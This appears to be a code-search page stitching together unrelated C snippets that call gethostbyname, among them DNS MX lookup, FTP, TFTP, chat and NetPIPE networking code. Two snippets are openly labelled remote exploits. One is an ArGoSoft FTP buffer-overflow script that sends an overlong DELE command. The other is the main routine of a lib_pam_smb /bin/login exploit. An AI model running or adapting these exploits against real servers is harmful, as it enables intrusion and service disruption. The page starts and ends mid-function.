	pDNShdr->dns_flags      = htons( DNS_FLAG_RD ); // do recurse
	pDNShdr->dns_q_count    = htons( 1 );           // one query
	pDNShdr->dns_rr_count   = 0;                  // none in query
	pDNShdr->dns_auth_count = 0;                  // none in query
	pDNShdr->dns_add_count  = 0;                  // none in query
	
	nQueryLen = PutQName( pszQuery, &(achBufOut[ DNS_HDR_LEN ] ) );
	nQueryLen += DNS_HDR_LEN;
	
	achBufOut[ nQueryLen++ ]        = 0;
	achBufOut[ nQueryLen++ ]        = 0;	
	achBufOut[ nQueryLen ]          = DNS_RRTYPE_MX;
	achBufOut[ nQueryLen + 1 ]      = 0;
	achBufOut[ nQueryLen + 2 ]      = DNS_RRCLASS_IN;
	achBufOut[ nQueryLen + 3 ]      = 0;
	
	nQueryLen += 4;
	
	/*-----------------------------------------------------------
	* Send DNS Query to server
	*/
	
	nRC = sendto( hSocket,
		achBufOut,
		nQueryLen,
		0,
		(LPSOCKADDR)&stSockAddr,
		sizeof( SOCKADDR_IN ) );
	
	if ( nRC == SOCKET_ERROR )
	{
		
		closesocket( hSocket );
		return FALSE;
	}
	else
	{
		
	}
	
//	VERIFY ( SetBlockingMode ( hSocket, TRUE ) );

	// 用 select 模型实现连接超时
	struct timeval timeout;
	fd_set r;
	FD_ZERO(&r);
	FD_SET(hSocket, &r);
	timeout.tv_sec = 5; //连接超时秒
	timeout.tv_usec =0;
	int ret = select(0, &r, 0, 0, &timeout);
	if ( ret == SOCKET_ERROR )
	{
		::closesocket(hSocket);
		hSocket = SOCKET_ERROR;
		return FALSE;
	}

	// 得到可读的数据长度
	long cmd = FIONREAD;
	u_long argp = 0;
	BOOL err = ioctlsocket ( hSocket, cmd, (u_long*)&argp );
	if ( err || argp < 1 )
	{
		::closesocket(hSocket);
		hSocket = SOCKET_ERROR;
		return FALSE;
	}

	nRC = recvfrom( hSocket,
		achBufIn,
		BUFSIZE,
		0,
		(LPSOCKADDR)&stSockAddr,
		&nAddrLen );
	
	if ( nRC == SOCKET_ERROR )
	{
		int nWSAErr = WSAGetLastError();
		
		if ( nWSAErr != WSAETIMEDOUT )
		{
			
			closesocket( hSocket );
			return FALSE;
		}
		else
		{
			
			closesocket( hSocket );
			return FALSE;
		}
	}
	else
	{
		pDNShdr = (PDNS_HDR)&( achBufIn[ 0 ] );
		p = (char *)&pDNShdr[0];
		p+=12;
		count = (int)*p;
		
		// Parse the Question...
		for (i = 0; i< ntohs(pDNShdr->dns_q_count); i++)
		{
			np = name;
			eom = (char *)pDNShdr+nRC;
			
			if ( (n = dn_expand((char *)pDNShdr, eom, p, name, 127)) < 0 )
			{
				return FALSE;
				
			}
			p += n + QFIXEDSZ;
		}		
		
		for (i = 0; i< ntohs(pDNShdr->dns_rr_count); i++)
		{
			
			// The Question Name appears Again...
			if ((n = dn_expand((char *)pDNShdr, eom, p, name, 127)) < 0)
			{
				return FALSE;
			}
			p+=n;
			
			
			j =  _getshort(p);;  //TYPE
			p+=2;
			//printf("%s\tType:%d", name, j);
			
			j = _getshort(p);  //CLASS
			p+=2;
			//	printf("\tClass:%d", j);
			
			j = _getlong(p);  //TTL
			p+=4;
			//	printf("\tTTL:%d", j);
			
			j = _getshort(p);  //RDLENGTH
			p+=2;
			//	printf("\tRDLENGTH:%d", j);
			
			j = _getshort(p);  //N??
			p+=2;
			
			// This should be an MX Name...
			if ( (n = dn_expand((char *)pDNShdr, eom, p, name, 127)) < 0 )
			{
				return FALSE;
			}

			t_MXHostInfo tMXHostInfo = {0};
			strncpy ( (char*)tMXHostInfo.szMXHost, name, _countof(tMXHostInfo.szMXHost));
			tMXHostInfo.N = j;
			Ary_MXHostInfos.Add ( tMXHostInfo );
			TRACE ( _T("%s\t%d\r\n"), name, j );
			p += n;
		}
		return TRUE;
		
		
	}
	
	
	closesocket( hSocket );
	return FALSE;
}
Exemple #19
0
 int main (int argc, char *argv[]){

  unsigned char *recvbuf,*user,*pass;
  unsigned int rc,addr,sock ;
  struct sockaddr_in tcp;
  struct hostent *hp;
  WSADATA wsaData;
  char buffer[size];
  unsigned short port;

  int i;
  if(argc < 5) {
      printf("\n-------- ArGoSoft Ftp remote exploit by c0d3r --------\n");
   printf("-------- usage : argo.exe host port user pass --------\n");
   printf("-------- eg: argo.exe 127.0.0.1 21 c0d3r secret --------\n\n");
  exit(-1) ;
  }
  printf("\n-------- ArGoSoft Ftp remote exploit by c0d3r --------\n\n");
  recvbuf = malloc(256);
  memset(recvbuf,0,256);
  
  //Creating exploit code
  printf("[+] building overflow string");
    memset(buffer,0,size);

   buffer[0] = 'D';buffer[1] = 'E';buffer[2] = 'L';buffer[3]='E'; buffer[4]= 0x20;
   for(i = 5;i != 286;i++){
   buffer[i] = 'A';
  }
 //EO exploit code

  user = malloc(256);
  memset(user,0,256);

  pass = malloc(256);
  memset(pass,0,256);

  sprintf(user,"user %s\r\n",argv[3]);
  sprintf(pass,"pass %s\r\n",argv[4]);
  
   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
   printf("[-] WSAStartup failed !\n");
   exit(-1);
  }
 hp = gethostbyname(argv[1]);
  if (!hp){
   addr = inet_addr(argv[1]);
  }
  if ((!hp) && (addr == INADDR_NONE) ){
   printf("[-] unable to resolve %s\n",argv[1]);
   exit(-1);
  }
  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if (!sock){
   printf("[-] socket() error...\n");
   exit(-1);
  }
   if (hp != NULL)
   memcpy(&(tcp.sin_addr),hp->h_addr,hp->h_length);
  else
   tcp.sin_addr.s_addr = addr;

  if (hp)
   tcp.sin_family = hp->h_addrtype;
  else
  tcp.sin_family = AF_INET;
  port=atoi(argv[2]);
  tcp.sin_port=htons(port);
   
  
  printf("\n[+] attacking host %s\n" , argv[1]) ;
  
  Sleep(1000);
  
  printf("[+] packet size = %d byte\n" , sizeof(buffer));
  
  rc=connect(sock, (struct sockaddr *) &tcp, sizeof (struct sockaddr_in));
  if(rc==0)
  {
    
     Sleep(1000) ;
  printf("[+] connected\n") ;
     rc2=recv(sock,recvbuf,256,0);
     printf("[+] sending username\n");
     send(sock,user,strlen(user),0);
     send(sock,'\n',1,0);
     printf("[+] sending passworld\n");
     Sleep(1000);  
	 send(sock,pass,strlen(pass),0);
     send(sock,'\n',1,0);
     Sleep(1000);
	 send(sock,buffer,strlen(buffer),0);
	 send(sock,'\n',1,0);
	 printf("[+] string sent successfully check the main window for result\n");
  }
  
  else {
      printf("[-] ArGo is not listening .... \n");
 }
  shutdown(sock,1);
  closesocket(sock);
 
}
int ldap_pvt_gethostbyname_a(
	const char *name, 
	struct hostent *resbuf,
	char **buf,
	struct hostent **result,
	int *herrno_ptr )
{
#if defined( HAVE_GETHOSTBYNAME_R )

# define NEED_SAFE_REALLOC 1   
	int r=-1;
	int buflen=BUFSTART;
	*buf = NULL;
	for(;buflen<BUFMAX;) {
		if (safe_realloc( buf, buflen )==NULL)
			return r;

#if (GETHOSTBYNAME_R_NARGS < 6)
		*result=gethostbyname_r( name, resbuf, *buf, buflen, herrno_ptr );
		r = (*result == NULL) ?  -1 : 0;
#else
		r = gethostbyname_r( name, resbuf, *buf,
			buflen, result, herrno_ptr );
#endif

		Debug( LDAP_DEBUG_TRACE, "ldap_pvt_gethostbyname_a: host=%s, r=%d\n",
		       name, r, 0 );

#ifdef NETDB_INTERNAL
		if ((r<0) &&
			(*herrno_ptr==NETDB_INTERNAL) &&
			(errno==ERANGE))
		{
			buflen*=2;
			continue;
	 	}
#endif
		return r;
	}
	return -1;
#elif defined( LDAP_R_COMPILE )
# define NEED_COPY_HOSTENT   
	struct hostent *he;
	int	retval;
	*buf = NULL;
	
	ldap_pvt_thread_mutex_lock( &ldap_int_resolv_mutex );
	
	he = gethostbyname( name );
	
	if (he==NULL) {
		*herrno_ptr = h_errno;
		retval = -1;
	} else if (copy_hostent( resbuf, buf, he )<0) {
		*herrno_ptr = -1;
		retval = -1;
	} else {
		*result = resbuf;
		retval = 0;
	}
	
	ldap_pvt_thread_mutex_unlock( &ldap_int_resolv_mutex );
	
	return retval;
#else	
	*buf = NULL;
	*result = gethostbyname( name );

	if (*result!=NULL) {
		return 0;
	}

	*herrno_ptr = h_errno;
	
	return -1;
#endif	
}
Exemple #21
0
int main(int argc, char *argv[])
{
    int  sockfd, num;
    char  buf[MAXDATASIZE];
    struct hostent *he;
    struct sockaddr_in server;

    int pasv_sd;
    int listensd, connectfd;
    struct sockaddr_in test;
    struct sockaddr_in pasv;
    struct sockaddr_in client;
    int connected = 0;

    if (argc!=2) 
    {
       printf("Usage:%s <IP Address>\n",argv[0]);
       exit(1);
    }
    if((he=gethostbyname(argv[1]))==NULL)
    {
        printf("gethostbyname()error\n");
        exit(1);
    }
    if((sockfd=socket(AF_INET, SOCK_STREAM, 0))==-1)
    {
       printf("socket()error\n");
       exit(1);
    }
    bzero(&server,sizeof(server));
    server.sin_family= AF_INET;
    server.sin_port = htons(PORT);
    server.sin_addr =*((struct in_addr *)he->h_addr);
    if(connect(sockfd,(struct sockaddr *)&server,sizeof(server))==-1)
    {
       printf("connect()error\n");
       exit(1);
    }
    if((num=recv(sockfd,buf,MAXDATASIZE,0)) == -1)
    {
       printf("recv() error\n");
       exit(1);
    }
    buf[num-1]='\0';
    printf("Server Message: %s\n",buf);

    char message[MAXDATASIZE];
    while(1)
    {
        fgets(message, MAXDATASIZE, stdin);
        size_t mes_len = strlen(message);
        if(message[0] == 'P' && message[1] == 'O' && message[2] == 'R' && message[3] == 'T')
        {
            int n_sent = send(sockfd, message, MAXDATASIZE, 0);
            if(n_sent < 0)
            {
                perror("Problem sending data");
                exit(1);
            }
            else
                printf("--sent--\n");
            int port = 0;
            char IP[30];
            getInfo(message, &port, IP);
            printf("%s\n", IP);
            printf("%d\n", port);
            socklen_t  addrlen;
            if((listensd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
            {
                perror("Creating  socket failed.");
                exit(1);
            }
            int opt = SO_REUSEADDR;
            setsockopt(listensd,SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
            bzero(&test,sizeof(test));
            test.sin_family=AF_INET;
            test.sin_port=htons(port);
            if(inet_pton(AF_INET, IP, &test.sin_addr) <= 0)
            {
                perror("error");
                exit(1);
            }
            if(bind(listensd, (struct sockaddr *)&test, sizeof(test)) == -1) 
            {
                perror("Binderror.");
                exit(1);
            }   
            if(listen(listensd,BACKLOG)== -1)
            {  /* calls listen() */
                perror("listen()error\n");
                exit(1);
            }
            addrlen =sizeof(client);
            if((connectfd = accept(listensd,(struct sockaddr*)&client,&addrlen))==-1) 
            {
                perror("accept()error\n");
                exit(1);
            }
            else
            {
                printf("connected\n");
                connected = 1;
                continue;
            }
        }
        if(message[0] == 'P' && message[1] == 'A' && message[2] == 'S' && message[3] == 'V')
        {
            int n_sent = send(sockfd, message, MAXDATASIZE, 0);
            if(n_sent < 0)
            {
                perror("Problem sending data");
                exit(1);
            }
            else
                printf("--sent--\n");
            int port;
            char IP[30];
            int n_buf = recv(sockfd, buf, MAXBUF, 0);
            buf[n_buf] = '\0';
            getInfo(buf, &port, IP);
            //connection
            if((pasv_sd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))==-1)
            {
                printf("socket()error\n");
                exit(1);
            } 
            bzero(&pasv, sizeof(pasv));
            pasv.sin_family = AF_INET;
            pasv.sin_port = htons(port);
            if(inet_pton(AF_INET, IP, &pasv.sin_addr) <= 0)
            {
                perror("error");
                exit(1);
            }
            
            if(connect(pasv_sd,(struct sockaddr *)&pasv,sizeof(pasv))==-1)
            {
                printf("connect()error\n");
                exit(1);
            }
            else
            {
                connected = 2;
                continue;
            }
        }
        if(message[0] == 'R' && message[1] == 'E' && message[2] == 'T' && message[3] == 'R')
        {
            int n_sent = send(sockfd, message, MAXDATASIZE, 0);
            if(n_sent < 0)
            {
                perror("Problem sending data");
                exit(1);
            }
            else
                printf("--sent--\n");
            int i = 5;
            char fileName[20];
            int j = 0;
            for(;i<mes_len;i++)
            {
                fileName[j] = message[i];
                j++;
            }
            fileName[j-1] = '\0';
            //char *_fileName = NULL;
            //_fileName = (char *)malloc(j*sizeof(char));
            //strcmp(_fileName, fileName);
            //printf("%s\n", _fileName);
            char content[MAXBUF];
            int n_buf = recv(sockfd, buf, MAXBUF, 0);
            buf[n_buf] = '\0';
            write(STDOUT_FILENO, buf, n_buf);
            if(strcmp("not connected yet\n", buf) != 0)
            {
                int n_read;
                if(connected == 1)
                    n_read = recv(connectfd, content, MAXBUF, 0);
                else
                    n_read = recv(pasv_sd, content, MAXBUF, 0);
                int n_buf = recv(sockfd, buf, MAXBUF, 0);
                buf[n_buf] = '\0';
                write(STDOUT_FILENO, buf, n_buf);
                FILE *pFile = fopen(fileName, "w+");
                fputs(content, pFile);
                fflush(pFile);
            }
            else
            {
                if(write(STDOUT_FILENO, buf, n_buf) < 0)
                {
                    perror("Problem writing to stdout");
                    exit(1);
                }
            }
            //free(_fileName);
            continue;
        }
        if(message[0] == 'S' && message[1] == 'T' && message[2] == 'O' && message[3] == 'R')
        {
            int n_sent = send(sockfd, message, MAXDATASIZE, 0);
            if(n_sent < 0)
            {
                perror("Problem sending data");
                exit(1);
            }
            else
                printf("--sent--\n");
            int n_buf = recv(sockfd, buf, MAXBUF, 0);
            buf[n_buf] = '\0';
            write(STDOUT_FILENO, buf, n_buf);
            int i = 5;
            char fileName[20];
            int j = 0;
            for(;i<mes_len;i++)
            {
                fileName[j] = message[i];
                j++;
            }
            //char *_fileName = NULL;
            //_fileName = (char *)malloc(j*sizeof(char));
            //strcmp(_fileName, fileName);
            //printf("%s\n", _fileName);
            fileName[j-1] = '\0';
            char content[MAXBUF];
            FILE *pFile = fopen(fileName, "r");
            fgets(content, MAXBUF, pFile);
            int len = strlen(content);
            if(connected == 1)
            {
                if((send(connectfd, content, len, 0)) < 0)
                {
                    perror("sendProblem\n");
                    exit(1);
                }
            }
            else
            {
                if((send(pasv_sd, content, len, 0)) < 0)
                {
                    perror("sendProblem\n");
                    exit(1);
                }
            }
            int n = recv(sockfd, buf, MAXBUF, 0);
            buf[n] = '\0';
            write(STDOUT_FILENO, buf, n);
            continue;
        }

        int n_sent = send(sockfd, message, MAXDATASIZE, 0);
        if(n_sent < 0)
        {
            perror("Problem sending data");
            exit(1);
        }
        else
            printf("--sent--\n");

        int n_read = recv(sockfd, buf, MAXDATASIZE, 0);
        buf[n_read] = '\0';
        if(strcmp("bye", buf) == 0)
        {
            write(STDOUT_FILENO, buf, n_read);
            break;
        }

        if(write(STDOUT_FILENO, buf, n_read) < 0)
        {
            perror("Problem writing to stdout");
            exit(1);
        }
    }
    return 0;
}
Exemple #22
0
int main(int argc, char *argv[]) {
	fd = open("/dev/i2c-1", O_RDWR);


	int sockfd, portno, n, n2;
	struct sockaddr_in serv_addr;
	struct hostent *server;

	char buffer[256];
	char buffer2[256];
    
	portno= 8124;
    
	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	if (sockfd < 0)
		error("ERROR opening socket");
	server = gethostbyname("localhost");
	if (server == NULL){
		fprintf(stderr, "ERROR, no such host\n");
		exit(0);
	}
	bzero((char *) &serv_addr, sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
	bcopy((char *)server->h_addr,
		(char *)&serv_addr.sin_addr.s_addr,
		server->h_length);
	serv_addr.sin_port = htons(portno);
	if (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0)
		error("ERROR connecting");
		
	float currentTemp = i2c_read(0x40, 0, 20000) * (165.0/65536.0) -40;
 	float currentHum =  i2c_read(0x40, 1, 20000) * (100.0/65536.0);


	while(1){
		float temp = i2c_read(0x40, 0, 20000) * (165.0/65536.0)-40;
		float hum  = i2c_read(0x40, 1, 20000) * (100.0/65536.0);

		//Check the discrepancy betwen the previous reading with the actual reading
		if((currentTemp - temp > 1 || currentTemp - temp < -1) || (currentHum-hum > 1 || currentHum-hum < -1)) {		
			//Redo reading. Discrepancy too big. Probably wrong
			currentTemp = temp;
			currentHum = hum;
			printf("Discrepancy too big. Reading again to make sure\n");
			continue;
		}
		
		currentTemp = temp;
		currentHum = hum;
		

		time_t current_time;
		char* c_time_string;

		current_time  = time(NULL);
		c_time_string = ctime(&current_time);

		if (temp != 0xffff && hum != 0xffff) {
			
			sprintf(buffer, "I2C-1 Temp/Hum %.2f %.2f Time %s", temp, hum, c_time_string);
			n = write(sockfd,buffer,strlen(buffer));
            
			if (n < 0)
				error("ERROR writing to socket");
		}

		sleep(2);
	}
	close(sockfd);
	return 0;
}
Exemple #23
0
int main(int argc, char *argv[]) {
  int sockfd, numbytes;  
  char inbuf[MAXDATASIZE], outbuf[MAXDATASIZE];
  struct hostent *he;
  struct sockaddr_in their_addr; /* connector's address information */
  int numInLines = 0, numOutLines = 0, maxlinesize = 1, totalInChars = 0, totalOutChars = 0;

  if (argc != 2) {
    fprintf(stderr,"usage: client hostname\n");
    exit(1);
  }
  if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */
    perror("gethostbyname");
    exit(1);
  }
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    perror("socket");
    exit(1);
  }

  their_addr.sin_family = AF_INET;         /* host byte order */
  their_addr.sin_port = htons(PORT);     /* short, network byte order */
  their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(their_addr.sin_zero), 8);        /* zero the rest of the struct */

  if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
    perror("connect");
    exit(1);
  }
  if ((numbytes=recv(sockfd, inbuf, MAXDATASIZE, 0)) == -1) {
    perror("recv");
    exit(1);
  }
  inbuf[numbytes] = '\0'; 	/* Adiciona caracter marcando fim se string */
  fprintf(stderr, "Received: %s",inbuf);

  struct timeval start;
  gettimeofday( &start, NULL );

  while (fgets(outbuf, MAXDATASIZE, stdin) != NULL) {
    if ((numbytes = send(sockfd, outbuf, strlen(outbuf), 0)) == -1) {
      perror("send");
      exit(1);
    }
    numOutLines++;
    maxlinesize = maxlinesize > strlen(outbuf) ? maxlinesize : strlen(outbuf);
    totalOutChars += numbytes;// - 1;
    if ((numbytes=recv(sockfd, inbuf, MAXDATASIZE, 0)) == -1) {
      perror("recv");
      exit(1);
    }
    numInLines++;
    totalInChars += numbytes;// - 1;
    
    inbuf[numbytes] = '\0';
    if (numOutLines % 100 == 0) 
      fprintf(stderr, "Numero de linhas enviadas: %d\n", numOutLines);
    printf("%s", inbuf);
  }

  struct timeval end;
  gettimeofday( &end, NULL );
  double time_elapsed = ( (double)( end.tv_usec - start.tv_usec ) ) / 1.0e+6 + ( (double)( end.tv_sec - start.tv_sec ) );
  fprintf( stderr, "Tempo total de transferencia: %lf s\n", time_elapsed );

  fprintf(stderr, "Numero de linhas enviadas: %d\n", numOutLines);
  fprintf(stderr, "Numero de linhas recebidas: %d\n", numInLines);
  fprintf(stderr, "Numero de caracteres na maior linha: %d\n", maxlinesize - 1); 
  fprintf(stderr, "Total de caracteres enviados: %d\n", totalOutChars);
  fprintf(stderr, "Total de caracteres recebidos: %d\n", totalInChars);
  
  close(sockfd);
  return 0;
}
Exemple #24
0
int main(int argc, char **argv) 
{  
  char *machine;
  int sock = 0;
  int request_sock = 0;
  struct sockaddr_in serveraddr;
  struct sockaddr_in clientaddr;
  struct hostent *hostp;
  
  int clientaddrlen=0;
  int test=0;
  
  // Client
  if (argc > 1)
    {
      machine = argv[1];
      
      // Retrieves info from DNS server.
      if ((hostp = gethostbyname(machine)) != 0)
        { 
          sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);    
	
          /*
            domain:
            AF_INET  (IPv4).
            AF_INET6 (IPv6 or IPv4)
            
            type:
            SOCK_STREAM
            SOCK_DGRAM
            
            protocol:
            IPPROTO_IP	 Equivalent to specifying the value zero (0).
            IPPROTO_TCP	 Indicates that the TCP protocol is to be used.
            IPPROTO_UDP	 Indicates that the UDP protocol is to be used.
            IPPROTO_RAW	 Indicates that communications is to the IP layer.
            IPPROTO_ICMP Indicates that the Internet Control Message Protocol (ICMP) is to be used.
          */
          
          if (sock < 0)                                       
            {
              perror("Could not create socket\n");
              printf("Please try again later\n");
              exit(1);
            }
          else
            printf("Successfully created new socket:%d\n", sock);
	
          bzero(&serveraddr, sizeof(serveraddr));
          serveraddr.sin_family = AF_INET;
          memcpy(&serveraddr.sin_addr, hostp->h_addr, hostp->h_length);
          serveraddr.sin_port = htons(PORT);
          test = connect(sock, (struct sockaddr*)&serveraddr, sizeof serveraddr);
          
          if (test != 0)                                
            {
              printf("Unable to connect to server: %s\n",machine);
              printf("Please try again later\n");
              exit(0);
            }
        
          printf("Connected for chat - server: %s\n", machine); 
	
          chat(sock);
        }
      else
        {
          printf("Unknown machine\n");
        }
    }
  // Server
  else
    {
      printf("Entering server mode\n");
      
      request_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
      
      if (request_sock < 0)
	{
	  perror("Could not create socket\n");
	  printf("Please try again later\n");
	  exit(1);
	}

      int yes = 1;
       /* avoid "address already in use" error */
      if (setsockopt(request_sock, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
        {
          perror("setsockopt:");
          return -1;
        }
    
      bzero(&serveraddr, sizeof(serveraddr));
      serveraddr.sin_family = AF_INET;
      serveraddr.sin_addr.s_addr = INADDR_ANY;
      serveraddr.sin_port = htons(PORT);
    
      test = bind(request_sock, (struct sockaddr*)&serveraddr, sizeof(serveraddr));
    
      if (test < 0)
	{
          perror("Could not bind socket to port\n");
          printf("Please try again later\n");
          exit(1);
	}
    
      test = listen(request_sock, SOMAXCONN);
    
      if (test < 0)
	{
	  perror("Could not initialize listen queue\n");
	  printf("Please try again later\n");
	  exit(1);
	}
      
      clientaddrlen = sizeof(struct sockaddr_in);
      
      printf("Waiting for connection...\n");
      
      // Waits for a connection
      sock = accept(request_sock, (struct sockaddr*)&clientaddr, &clientaddrlen);
      close(request_sock);
      
      chat(sock);
    }
}
Exemple #25
0
int main(int argc,char **argv)
{
        struct sockaddr_in sock;
        struct hostent *pHe;
        int sd;   
	short port = -1;
	int x;
	char *host = NULL;
	char *user = NULL;
	char exp[1024]; 
	int a;
	char *default_port = "23";

	printf("linux_pam_smb\n");
	printf("Linux lib_pam_smb < 1.1.6 /bin/login remote exploit\n");
	printf("[vertex//lids/org]\n\n");
	if (argc < 2) 
	{
		printf("%s -h <victim> [-p port] \n",argv[0]);
		return 0;
	}
	while ((a = getopt(argc,argv,"h:p:u:")) != -1)
	{
		switch (a)	
		{
			case 'h':
				host = optarg;
				break;
			
                        case 'p':
                                port = atoi(optarg);
                                break;

			default:
				printf("[-] invalid option.\n");
				break;
		}
	}
	if (host == NULL)
	{
		printf("[-] must specify a host to attack\n"); 
		return 0;
        }
	if (port < 0)
		port = atoi(default_port);
	if ((pHe = gethostbyname(host)) == NULL)
        {
                printf("Host lookup error.\n");
                return 0;
        }
	printf("[*] attacking %s:%d\n",host,port);
	printf("[*] opening socket\n");
        if ((sd = socket(AF_INET,SOCK_STREAM,0)) == -1)
        {
                printf("[-] could not create socket");
                return 0;
        }
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);
	memcpy(&sock.sin_addr.s_addr,pHe->h_addr,pHe->h_length);
	if ((connect(sd,(struct sockaddr *)&sock,sizeof(sock))) == -1)
        {
                printf("[-] failed to connect to %s\n",host);  
                return 0;
        }
	printf("[*] connected!\n");
	printf("[*] Begin negotiate... \n");
	negotiate(sd);
	printf("[*] Login... \n");
	login(sd);
	return 0;
}
Exemple #26
0
void setpeer (int argc, char *argv[])
{
    struct hostent *host;

    if (argc < 2)
    {
        getmoreargs ("connect ", "(to) ");
        makeargv ();
        argc = margc;
        argv = margv;
    }
    if ((argc < 2) || (argc > 3))
    {
        printf ("usage: %s host-name [port]\n", argv[0]);
        return;
    }

    host = gethostbyname (argv[1]);
    if (host == 0)
    {
        connected = 0;
        printf ("%s: unknown host\n", argv[1]);
        return;
    }
    peeraddr.sin_family = host->h_addrtype;
    bcopy (host->h_addr, &peeraddr.sin_addr, host->h_length);
    hostname = xstrdup (host->h_name);

    port = sp->s_port;
    if (argc == 3)
    {
        struct servent *usp;

        usp = getservbyname (argv[2], "udp");
        if (usp)
        {
            port = usp->s_port;
        }
        else
        {
            unsigned long myport;

            char *ep;

            myport = strtoul (argv[2], &ep, 10);
            if (*ep || myport > 65535UL)
            {
                printf ("%s: bad port number\n", argv[2]);
                connected = 0;
                return;
            }
            port = htons ((u_short) myport);
        }
    }

    if (verbose)
    {
        printf ("Connected to %s (%s), port %u\n",
                hostname, inet_ntoa (peeraddr.sin_addr), (unsigned int) ntohs (port));
    }
    connected = 1;
}
Exemple #27
0
/* Setup(..) function is simply used to 'setup' the standard features of 
 * the netpipe modules.  tcp,netpipe-related stuff.  This does no actual
 * 'setup' of any InfiniBand stuff, other than passing/storing
 * the parameters from the command line.... the 'initIB' function
 * is called from here though to do IB initialization.
 */
void Setup(ArgStruct *p)
{

 int one = 1;
 int sockfd;
 struct sockaddr_in *lsin1, *lsin2;      /* ptr to sockaddr_in in ArgStruct */
 char *host;
 struct hostent *addr;
 struct protoent *proto;		/* protocol entry */
 int send_size, recv_size, sizeofint = sizeof(int);
 struct sigaction sigact1;
#if WANT_DEBUG
 char logfilename[80];
#endif

 /* Sanity check */
 if( p->prot.commtype == NP_COMM_RDMAWRITE && 
     p->prot.comptype != NP_COMP_LOCALPOLL ) {
   fprintf(stderr, "Error, RDMA Write may only be used with local polling.\n");
   fprintf(stderr, "Try using RDMA Write With Immediate Data with vapi polling\n");	/* vapi polling? */
   fprintf(stderr, "or event completion\n");
   exit(-1);
 }
 
 if( p->prot.commtype != NP_COMM_RDMAWRITE && 
     p->prot.comptype == NP_COMP_LOCALPOLL ) {
   fprintf(stderr, "Error, local polling may only be used with RDMA Write.\n");
   fprintf(stderr, "Try using vapi polling or event completion\n");
   exit(-1);
 }

#if WANT_DEBUG
 /* Open log file */
 sprintf(logfilename, ".iblog%d", 1 - p->tr);
 logfile = fopen(logfilename, "w");
#endif

 host = p->host;                           /* copy ptr to hostname */ 

 lsin1 = &(p->prot.sin1);		  /* setup the socket structure #1 */
 lsin2 = &(p->prot.sin2);		 /* setup socket structure #2 */
					/* more setup stuff */
 bzero((char *) lsin1, sizeof(*lsin1));
 bzero((char *) lsin2, sizeof(*lsin2));
					/* tcp checks */
 if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
   printf("NetPIPE: can't open stream socket! errno=%d\n", errno);
   exit(-4);
 }

					/* another tcp check */
 if(!(proto = getprotobyname("tcp"))){
   printf("NetPIPE: protocol 'tcp' unknown!\n");
   exit(555);
 }

 if (p->tr){                                  /* if client i.e., Sender */


   if (atoi(host) > 0) {                   /* Numerical IP address */
     lsin1->sin_family = AF_INET;
     lsin1->sin_addr.s_addr = inet_addr(host);

   } else {
      
     if ((addr = gethostbyname(host)) == NULL){		/* get the hostname */
       printf("NetPIPE: invalid hostname '%s'\n", host);
       exit(-5);
     }

     lsin1->sin_family = addr->h_addrtype;
     bcopy(addr->h_addr, (char*) &(lsin1->sin_addr.s_addr), addr->h_length);
   }

   lsin1->sin_port = htons(p->port);

 } else {                                 /* we are the receiver (server) */

   bzero((char *) lsin1, sizeof(*lsin1));
   lsin1->sin_family      = AF_INET;
   lsin1->sin_addr.s_addr = htonl(INADDR_ANY);
   lsin1->sin_port        = htons(p->port);
  		 
   /* re-use socket, common if netpipe aborts due to busted networks */
   one = 1;
   if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(int))) {
       printf("NetPIPE: server: unable to setsockopt -- errno %d\n", errno);
       exit(-7);
   }

   if (bind(sockfd, (struct sockaddr *) lsin1, sizeof(*lsin1)) < 0){
     printf("NetPIPE: server: bind on local address failed! errno=%d\n", errno);
     exit(-6);
   }

 }

 if(p->tr)
   p->commfd = sockfd;
 else
   p->servicefd = sockfd;
/* ********** This is where the IB specific stuff begins ******** */
 

 /* Establish tcp connections */
 /* Connection management for IB is handled over tcp/ip connection */
 establish(p);

 /* Initialize OpenIB -> Mellanox Infiniband */

 if(initIB(p) == -1) {
   CleanUp(p);
   exit(-1);
 }
}   
Exemple #28
0
/*
 * Send file(s).
 */
void put (int argc, char *argv[])
{
    int fd;

    int n;

    char *cp, *targ;

    if (argc < 2)
    {
        getmoreargs ("send ", "(file) ");
        makeargv ();
        argc = margc;
        argv = margv;
    }
    if (argc < 2)
    {
        putusage (argv[0]);
        return;
    }
    targ = argv[argc - 1];
    if (strchr (argv[argc - 1], ':'))
    {
        struct hostent *hp;

        for (n = 1; n < argc - 1; n++)
            if (strchr (argv[n], ':'))
            {
                putusage (argv[0]);
                return;
            }
        cp = argv[argc - 1];
        targ = strchr (cp, ':');
        *targ++ = 0;
        hp = gethostbyname (cp);
        if (hp == NULL)
        {
            fprintf (stderr, "tftp: %s: ", cp);
            herror ((char *) NULL);
            return;
        }
        bcopy (hp->h_addr, (caddr_t) & peeraddr.sin_addr, hp->h_length);
        peeraddr.sin_family = hp->h_addrtype;
        connected = 1;
        hostname = xstrdup (hp->h_name);
    }
    if (!connected)
    {
        printf ("No target machine specified.\n");
        return;
    }
    if (argc < 4)
    {
        cp = argc == 2 ? tail (targ) : argv[1];
        fd = open (cp, O_RDONLY | mode->m_openflags);
        if (fd < 0)
        {
            fprintf (stderr, "tftp: ");
            perror (cp);
            return;
        }
        if (verbose)
            printf ("putting %s to %s:%s [%s]\n", cp, hostname, targ, mode->m_mode);
        peeraddr.sin_port = port;
        tftp_sendfile (fd, targ, mode->m_mode);
        return;
    }
    /* this assumes the target is a directory */
    /* on a remote unix system.  hmmmm.  */
    cp = strchr (targ, '\0');
    *cp++ = '/';
